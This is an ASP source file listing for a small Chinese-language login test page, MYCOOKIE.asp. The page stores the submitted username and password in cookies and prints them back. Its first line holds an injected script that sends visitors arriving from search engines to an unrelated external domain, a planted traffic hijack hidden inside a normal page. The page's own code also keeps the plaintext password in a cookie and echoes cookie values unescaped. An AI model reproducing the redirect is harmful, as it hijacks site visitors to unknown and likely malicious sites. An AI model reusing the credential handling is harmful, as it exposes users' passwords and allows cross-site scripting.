d:\wwwroot\wuchunhua\MYCOOKIE.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT" CODEPAGE="936"
%
>
002:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
003:
<html xmlns="http://www.w3.org/1999/xhtml">
004:
<head>
005:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
006:
<title>无标题文档</title>
007:
<!--mstheme-->
<link rel="stylesheet" type="text/css" href="_themes/sky/sky1011-106.css"><meta name="Microsoft Theme" content="sky 1011, default">
008:
</head>
009:
010:
<body>
011:
<form id="form1" name="form1" method="post" action="">
012:
<table width="33%" border="1" align="center">
013:
<tr>
014:
<td>用户名</td>
015:
<td><label for="username"></label>
016:
<input type="text" name="username" id="username" /></td>
017:
</tr>
018:
<tr>
019:
<td>密码</td>
020:
<td><label for="password"></label>
021:
<input type="text" name="password" id="password" /></td>
022:
</tr>
023:
<tr>
024:
<td> </td>
025:
<td align="center"><input type="submit" name="button" id="button" value="提交" /></td>
026:
</tr>
027:
</table>
028:
</form>
029:
<%
030:
Response.Cookies("userid") = Request.Form("username")
031:
Response.Cookies("pwd") = Request.Form("password")
032:
%
>
033:
<br />
034:
userid用户 cookie:<b>
<%
= Request.Cookies("userid")
%
></b>
035:
<br />
036:
pwd密码 cookie:<b>
<%
= Request.Cookies("pwd")
%
></b>
037:
038:
</body>
039:
</html>
040:
041:
042: